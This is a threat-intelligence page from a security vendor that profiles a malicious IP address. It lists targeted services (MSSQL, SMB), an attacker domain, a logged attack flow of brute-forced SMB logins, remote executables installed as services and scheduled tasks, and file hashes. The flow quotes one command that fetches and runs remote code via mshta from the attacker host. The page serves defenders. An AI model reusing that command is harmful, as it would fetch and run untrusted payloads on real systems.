Cyber Threat Intelligence

Discover malicious IPs and domains with Akamai Guardicore Segmentation

IP Address: 124.6.141.146Malicious

IP Address: 124.6.141.146Malicious

This IP address attempted an attack on a machine in our threat sensors network

Threat Information

Role

Attacker, Scanner

Services Targeted

MSSQL SMB

Tags

Download and Execute SMB Access Suspicious Domain Service Stop Access Share DNS Query File Operation By CMD Scheduled Task Creation MSSQL Download File Successful SMB Login Execute from Share SMB Share Connect Service Start Service Creation Service Deletion CMD

Associated Attack Servers

w.zz3r0.com

Basic Information

IP Address

124.6.141.146

Domain

-

ISP

-

Country

Philippines

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Akamai Guardicore Segmentation

2023-01-10

Last seen in Akamai Guardicore Segmentation

2024-08-22

What is Akamai Guardicore Segmentation
Akamai Guardicore Segmentation is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Akamai Guardicore Segmentation generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

A user logged in using SMB with the following username: Administrator - Authentication policy: Reached Max Attempts

Successful SMB Login

C:\VKUOOkvO.exe was downloaded

Download File

vkuookvo.exe was executed from the remote share \\server-backup\c$

Execute from Share

c:\windows\system32\services.exe installed and started \\server-backup\c$\vkuookvo.exe as a service named pOMV under service group None

Service Start Service Creation

A user logged in using SMB with the following username: Administrator - Authentication policy: Previously Approved User 4 times

Successful SMB Login

C:\VYlkuoxB.exe was downloaded

Download File

vylkuoxb.exe was executed from the remote share \\server-backup\c$

Execute from Share

c:\windows\system32\services.exe installed and started \\server-backup\c$\vylkuoxb.exe as a service named rqAF under service group None

Service Start Service Creation

C:\WINDOWS\Temp\tmp.vbs was downloaded

Download File

Service rqAF was stopped

Service Stop

The command line C:\WINDOWS\system32\cmd.exe /c mshta http://w.zz3r0.com/page.html?pSERVER-BACKUP was scheduled to run by modifying C:\WINDOWS\Tasks\Autocheck.job

Process c:\windows\system32\mshta.exe attempted to access suspicious domains: w.zz3r0.com

DNS Query Access Suspicious Domain

The command line c:\windows\PHSoDeK.exe was scheduled to run by modifying C:\WINDOWS\Tasks\Autostart.job

The file C:\WINDOWS\BgWqA.exe was downloaded and executed

Download and Execute

The command line c:\windows\BgWqA.exe was scheduled to run by modifying C:\WINDOWS\Tasks\escan.job

Connection was closed due to timeout

Associated Files

C:\WINDOWS\Temp\svchost.exe

SHA256: 30d9043b7f13e8a25b77d4c36cde8f2909556a46c7d4677dbb6a03fb290223f4

6500000 bytes

C:\WINDOWS\BgWqA.exe

SHA256: 3bf8ae4b1652f6b8c3f35ac9a12d41ce3b624ddb812000b1d7e016438c5039bf

2730000 bytes

C:\aAmXoipw.exe

SHA256: 3c2fe308c0a563e06263bbacf793bbe9b2259d795fcc36b953793a7e499e7f71

56320 bytes